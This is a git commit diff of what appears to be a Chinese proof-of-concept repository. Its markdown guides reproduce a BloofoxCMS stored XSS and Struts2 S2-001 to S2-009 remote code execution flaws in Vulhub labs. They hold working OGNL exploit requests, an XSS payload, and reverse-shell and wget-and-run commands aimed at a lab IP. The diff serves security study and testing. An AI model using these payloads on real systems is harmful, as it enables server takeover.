This commit is contained in:
Threekiii 2024-12-18 10:47:51 +08:00
parent 4fc46b25b6
commit 6a975abfe6
36 changed files with 606 additions and 608 deletions

View File

@ -1,34 +1,34 @@
# BloofoxCMS 0.5.2.1 存储型XSS # BloofoxCMS 0.5.2.1 存储型XSS
## 漏洞描述 ## 漏洞描述
参考链接: 参考链接:
- https://packetstormsecurity.com/files/161195 - https://packetstormsecurity.com/files/161195
## 漏洞影响 ## 漏洞影响
``` ```
BloofoxCMS 0.5.1.0 -.5.2.1 BloofoxCMS 0.5.1.0 -.5.2.1
``` ```
## 网络测绘 ## 网络测绘
``` ```
app="BloofoxCMS" app="BloofoxCMS"
``` ```
## 漏洞复现 ## 漏洞复现
漏洞文件: 漏洞文件:
``` ```
/admin/include/inc_content_articles.php /admin/include/inc_content_articles.php
``` ```
登录有效的账号在添加文章的时候插入Payload发布每次访问均可触发 登录有效的账号在添加文章的时候插入Payload发布每次访问均可触发
``` ```
<img src=# onerror=alert('xss')> <img src=# onerror=alert('xss')>
``` ```

View File

@ -609,6 +609,27 @@
* Apache Solr 远程命令执行漏洞 CVE-2017-12629 * Apache Solr 远程命令执行漏洞 CVE-2017-12629
* Apache Solr 远程命令执行漏洞 CVE-2019-0193 * Apache Solr 远程命令执行漏洞 CVE-2019-0193
* Apache SSI 远程命令执行漏洞 * Apache SSI 远程命令执行漏洞
* Apache Struts S2-066 远程代码执行漏洞 CVE-2023-50164
* Apache Struts S2-067 远程代码执行漏洞 CVE-2024-53677
* Apache Struts2 S2-001 远程代码执行漏洞
* Apache Struts2 S2-005 远程代码执行漏洞
* Apache Struts2 S2-007 远程代码执行漏洞
* Apache Struts2 S2-008 远程代码执行漏洞
* Apache Struts2 S2-009 远程代码执行漏洞
* Apache Struts2 S2-012 远程代码执行漏洞
* Apache Struts2 S2-013 远程代码执行漏洞
* Apache Struts2 S2-015 远程代码执行漏洞
* Apache Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251
* Apache Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081
* Apache Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
* Apache Struts2 S2-046 远程代码执行漏洞 CVE-2017-5638
* Apache Struts2 S2-048 远程代码执行漏洞
* Apache Struts2 S2-052 远程代码执行漏洞 CVE-2017-9805
* Apache Struts2 S2-053 远程代码执行漏洞
* Apache Struts2 S2-057 远程代码执行漏洞 CVE-2018-11776
* Apache Struts2 S2-059 远程代码执行漏洞 CVE-2019-0230
* Apache Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530
* Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
* Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938 * Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938
* Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615 * Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615
* Apache Tomcat RCE Via JSP Upload Bypass * Apache Tomcat RCE Via JSP Upload Bypass
@ -667,25 +688,6 @@
* SaltStack 未授权访问命令执行漏洞 CVE-2020-16846 25592 * SaltStack 未授权访问命令执行漏洞 CVE-2020-16846 25592
* SaltStack 水平权限绕过漏洞 CVE-2020-11651 * SaltStack 水平权限绕过漏洞 CVE-2020-11651
* Saltstack 远程命令执行漏洞 CVE-2020-11651 11652 * Saltstack 远程命令执行漏洞 CVE-2020-11651 11652
* Struts2 S2-001 远程代码执行漏洞
* Struts2 S2-005 远程代码执行漏洞
* Struts2 S2-007 远程代码执行漏洞
* Struts2 S2-008 远程代码执行漏洞
* Struts2 S2-009 远程代码执行漏洞
* Struts2 S2-012 远程代码执行漏洞
* Struts2 S2-013 远程代码执行漏洞
* Struts2 S2-015 远程代码执行漏洞
* Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251
* Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081
* Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
* Struts2 S2-046 远程代码执行漏洞 CVE-2017-5638
* Struts2 S2-048 远程代码执行漏洞
* Struts2 S2-052 远程代码执行漏洞 CVE-2017-9805
* Struts2 S2-053 远程代码执行漏洞
* Struts2 S2-057 远程代码执行漏洞 CVE-2018-11776
* Struts2 S2-059 远程代码执行漏洞 CVE-2019-0230
* Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530
* Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
* Supervisord 远程命令执行漏洞 CVE-2017-11610 * Supervisord 远程命令执行漏洞 CVE-2017-11610
* Tomcat8 弱口令+后台getshell漏洞 * Tomcat8 弱口令+后台getshell漏洞
* uWSGI PHP目录穿越漏洞 CVE-2018-7490 * uWSGI PHP目录穿越漏洞 CVE-2018-7490
@ -809,6 +811,7 @@
* Spring Data Commons 远程命令执行漏洞 CVE-2018-1273 * Spring Data Commons 远程命令执行漏洞 CVE-2018-1273
* Spring Data Rest 远程命令执行漏洞 CVE-2017-8046 * Spring Data Rest 远程命令执行漏洞 CVE-2017-8046
* Spring Framework 安全绕过漏洞 CVE-2023-20860 * Spring Framework 安全绕过漏洞 CVE-2023-20860
* Spring Framework 特定条件下目录遍历漏洞 CVE-2024-38819
* Spring Messaging 远程命令执行漏洞 CVE-2018-1270 * Spring Messaging 远程命令执行漏洞 CVE-2018-1270
* Spring Security OAuth2 远程命令执行漏洞 CVE-2016-4977 * Spring Security OAuth2 远程命令执行漏洞 CVE-2016-4977
* Spring WebFlow 远程代码执行漏洞 CVE-2017-4971 * Spring WebFlow 远程代码执行漏洞 CVE-2017-4971

View File

@ -1,16 +1,16 @@
# Struts2 S2-001 远程代码执行漏洞 # Apache Struts2 S2-001 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行. 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 `%{value}` 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 `%{value}` 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行.
参考阅读: 参考阅读:
- http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html - http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-001测试环境 Vulhub 执行以下命令启动 s2-001 测试环境:
``` ```
docker-compose build docker-compose build
@ -19,13 +19,13 @@ docker-compose up -d
## 漏洞复现 ## 漏洞复现
获取tomcat执行路径 获取 tomcat 执行路径:
``` ```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
``` ```
获取Web路径 获取 Web 路径:
``` ```
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
@ -45,15 +45,15 @@ docker-compose up -d
![image-20220301154735903](images/202203011547043.png) ![image-20220301154735903](images/202203011547043.png)
### 反弹shell ### 反弹 shell
准备反弹Shell文件shell.sh 准备反弹 Shell 文件 shell.sh
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
``` ```
启动http server 启动 http server
``` ```
# python2 # python2
@ -63,7 +63,7 @@ python -m SimpleHTTPServer 80
python -m http.server 80 python -m http.server 80
``` ```
上传shell.sh文件 上传 shell.sh 文件:
``` ```
# URLencode前 # URLencode前
@ -72,7 +72,7 @@ python -m http.server 80
![image-20220301155634793](images/202203011556922.png) ![image-20220301155634793](images/202203011556922.png)
执行shell.sh文件 执行 shell.sh 文件:
``` ```
# URLencode前 # URLencode前
@ -81,7 +81,6 @@ python -m http.server 80
![image-20220301155834822](images/202203011558934.png) ![image-20220301155834822](images/202203011558934.png)
监听9999端口接收反弹shell 监听 9999 端口,接收反弹 shell
![image-20220301155706920](images/202203011557020.png) ![image-20220301155706920](images/202203011557020.png)

View File

@ -0,0 +1,100 @@
# Apache Struts2 S2-005 远程代码执行漏洞
## 漏洞描述
参考吴翰清的《白帽子讲 Web 安全》一书。
> s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12)struts2 会将 http 的每个参数名解析为 OGNL 语句执行 (可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码 (\u0023) 或 8 进制 (\43) 即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置 (禁止静态方法调用和类方法执行等) 来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开S2-003 的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork 会将 GET 参数的键和值利用 OGNL 表达式解析成 Java 语句,如:
```
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
```
触发漏洞就是利用了这个点,再配合 OGNL 的沙盒绕过方法,组成了 S2-003。官方对 003 的修复方法是增加了安全模式沙盒S2-005 在 OGNL 表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用 `\u0023` 绕过 s2 对 `#` 的防御
- S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用 OGNL 表达式将沙盒关闭,继续执行代码
漏洞详情:
- http://struts.apache.org/docs/s2-005.html
## 漏洞影响
影响版本: 2.0.0 - 2.1.8.1
## 环境搭建
Vulhub 执行以下命令启动 s2-005 测试环境:
```
docker-compose build
docker-compose up -d
```
## 漏洞复现
执行任意命令 POC无回显空格用 `@` 代替):
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/awesome_poc%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
```
![image-20220301161455042](images/202203011614123.png)
命令 `touch /tmp/awesome_poc` 成功执行:
![image-20220301161548594](images/202203011615639.png)
网上一些 POC 放到 tomcat8 下会返回 400研究了一下发现字符 `\``"` 不能直接放 path 里,需要 urlencode编码以后再发送就好了。这个 POC 没回显。
POC 用到了 OGNL 的 Expression Evaluation
![](images/202203011611125.jpeg)
大概可以理解为,`(aaa)(bbb)` 中 aaa 作为 OGNL 表达式字符串bbb 作为该表达式的 root 对象,所以一般 aaa 位置如果需要执行代码,需要用引号包裹起来,而 bbb 位置可以直接放置 Java 语句。`(aaa)(bbb)=true` 实际上就是 `aaa=true`。不过确切怎么理解,还需要深入研究,有待优化。
### 反弹 shell
编写 shell 脚本并启动 http 服务器:
```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80
```
上传 shell.sh 文件的命令为:
```
wget 192.168.174.128/shell.sh
```
上传 shell.sh 文件的 Payload 为:
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@192.168.174.128/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
```
执行 shell.sh 文件的命令为:
```
bash /usr/local/tomcat/shell.sh
```
执行 shell.sh 文件的 Payload 为:
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22bash@/usr/local/tomcat/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
```
成功接收反弹 shell
![image-20220301162511817](images/202203011625901.png)

View File

@ -1,4 +1,4 @@
# Struts2 S2-007 远程代码执行漏洞 # Apache Struts2 S2-007 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -41,70 +41,70 @@ public class UserAction extends ActionSupport {
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + ' ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
``` ```
漏洞详情: 漏洞详情:
- http://struts.apache.org/docs/s2-007.html - http://struts.apache.org/docs/s2-007.html
## 漏洞影响 ## 漏洞影响
影响版本: 2.0.0 - 2.2.3 影响版本: 2.0.0 - 2.2.3
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-007测试环境 Vulhub 执行以下命令启动 s2-007 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
访问`http://your-vps-ip:8080/index.jsp`即可进入上传表单页面。 访问 `http://your-vps-ip:8080/index.jsp` 即可进入上传表单页面。
## 漏洞复现 ## 漏洞复现
执行任意代码的EXP 执行任意代码的 EXP
``` ```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
``` ```
将Exp传入可以利用的输入框age得到命令执行结果 Exp 传入可以利用的输入框age得到命令执行结果
![image-20220301170152780](images/202203011701833.png) ![image-20220301170152780](images/202203011701833.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('wget 192.168.174.128/shell.sh').getInputStream())) + ' ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('wget 192.168.174.128/shell.sh').getInputStream())) + '
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash /usr/local/tomcat/shell.sh').getInputStream())) + ' ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash /usr/local/tomcat/shell.sh').getInputStream())) + '
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301170256417](images/202203011702511.png) ![image-20220301170256417](images/202203011702511.png)

View File

@ -1,15 +1,12 @@
# Struts2 S2-008 远程代码执行漏洞 # Apache Struts2 S2-008 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
S2-008 涉及多个漏洞Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。 S2-008 涉及多个漏洞Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
参考阅读: 参考链接:
- http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
漏洞详情:
- http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
- http://struts.apache.org/docs/s2-008.html - http://struts.apache.org/docs/s2-008.html
## 漏洞影响 ## 漏洞影响
@ -18,7 +15,7 @@ S2-008 涉及多个漏洞Cookie 拦截器错误配置可造成 OGNL 表达式
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-008测试环境 Vulhub 执行以下命令启动 s2-008 测试环境:
``` ```
docker-compose build docker-compose build
@ -27,46 +24,45 @@ docker-compose up -d
## 漏洞复现 ## 漏洞复现
在 devMode 模式下直接添加参数`?debug=command&expression=<OGNL EXP>`,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义)。 在 devMode 模式下直接添加参数 `?debug=command&expression=<OGNL EXP>`,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义)。
``` ```
http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29) http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
``` ```
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22wget%20192.168.174.128%2fshell.sh%22%29) http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22wget%20192.168.174.128%2fshell.sh%22%29)
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22bash%20%2fusr%2flocal%2ftomcat%2fshell.sh%22%29) http://your-ip:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22bash%20%2fusr%2flocal%2ftomcat%2fshell.sh%22%29)
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301165140045](images/202203011651129.png) ![image-20220301165140045](images/202203011651129.png)

View File

@ -1,26 +1,26 @@
# Struts2 S2-009 远程代码执行漏洞 # Apache Struts2 S2-009 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理需要先阅读s2-005的说明https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md > 前置阅读: 这个漏洞再次来源于 s2-003、s2-005。了解该漏洞原理需要先阅读 s2-005 的说明https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
参考[Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197)文中说到该引入ognl的方法不光可能出现在这个漏洞中也可能出现在其他java应用中。 参考 [Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197),文中说到,该引入 ognl 的方法不光可能出现在这个漏洞中,也可能出现在其他 java 应用中。
Struts2对s2-003的修复方法是禁止静态方法调用在s2-005中可直接通过OGNL绕过该限制对于`#`号,同样使用编码`\u0023``\43`进行绕过于是Struts2对s2-005的修复方法是禁止`\`等特殊符号,使用户不能提交反斜线。 Struts2 s2-003 的修复方法是禁止静态方法调用,在 s2-005 中可直接通过 OGNL 绕过该限制,对于 `#` 号,同样使用编码 `\u0023` `\43` 进行绕过;于是 Struts2 s2-005 的修复方法是禁止 `\` 等特殊符号,使用户不能提交反斜线。
但是如果当前action中接受了某个参数`example`这个参数将进入OGNL的上下文。所以我们可以将OGNL表达式放在`example`参数中,然后使用`/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`的方法来执行它,从而绕过官方对`#``\`等特殊字符的防御。 但是,如果当前 action 中接受了某个参数 `example`,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 `example` 参数中,然后使用 `/helloword.acton?example=<OGNL statement>&(example)('xxx')=1` 的方法来执行它,从而绕过官方对 `#``\` 等特殊字符的防御。
漏洞详情: 漏洞详情:
- http://struts.apache.org/docs/s2-009.html - http://struts.apache.org/docs/s2-009.html
## 漏洞影响 ## 漏洞影响
影响版本: 2.1.0 - 2.3.1.1 影响版本: 2.1.0 - 2.3.1.1
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-009测试环境 Vulhub 执行以下命令启动 s2-009 测试环境:
``` ```
docker-compose build docker-compose build
@ -29,11 +29,11 @@ docker-compose up -d
## 漏洞复现 ## 漏洞复现
测试环境是一个struts2的“功能展示”网站`Struts Showcase`代码很多我们的目标是去找一个接受了参数参数类型是string的action。 测试环境是一个 struts2 的“功能展示”网站 `Struts Showcase`,代码很多,我们的目标是去找一个接受了参数,参数类型是 string action。
先对`S2-009.war`进行解压我用binwalk其实直接zip就可以可见源码都在`WEB-INF/src`目录中我一般找ajax相关的代码这些代码一般逻辑比较简单。 先对 `S2-009.war` 进行解压(我用 binwalk其实直接 zip 就可以),可见源码都在 `WEB-INF/src` 目录中,我一般找 ajax 相关的代码,这些代码一般逻辑比较简单。
找到一个`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java` 找到一个 `WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`
``` ```
public class Example5Action extends ActionSupport { public class Example5Action extends ActionSupport {
@ -57,7 +57,7 @@ public class Example5Action extends ActionSupport {
} }
``` ```
代码没有更简单了其接受了name参数并调用setName将其赋值给私有属性`this.name`,正是符合我们的要求。然后去`WEB-INF/src/java/struts-ajax.xml`看一下URL路由 代码没有更简单了,其接受了 name 参数并调用 setName 将其赋值给私有属性 `this.name`,正是符合我们的要求。然后去 `WEB-INF/src/java/struts-ajax.xml` 看一下 URL 路由:
``` ```
<package name="ajax" extends="struts-default"> <package name="ajax" extends="struts-default">
@ -70,7 +70,7 @@ public class Example5Action extends ActionSupport {
</package> </package>
``` ```
`name=example5`,所以访问`http://your-ip:8080/ajax/example5.action`即可访问该控制器。按照原理中说到的方法将OGNL利用代码放在name参数里访问该URL `name=example5`,所以访问 `http://your-ip:8080/ajax/example5.action` 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,访问该 URL
``` ```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/awesome_poc%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/awesome_poc%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
@ -83,43 +83,43 @@ Connection: close
![image-20220301165654308](images/202203011656411.png) ![image-20220301165654308](images/202203011656411.png)
由于该POC没有回显所以调用的是`touch /tmp/awesome_poc`命令,查看/tmp目录发现已经成功 由于该 POC 没有回显,所以调用的是 `touch /tmp/awesome_poc` 命令,查看/tmp 目录发现已经成功:
![image-20220301165639798](images/202203011656842.png) ![image-20220301165639798](images/202203011656842.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27wget%20192.168.174.128/shell.sh%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27wget%20192.168.174.128/shell.sh%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
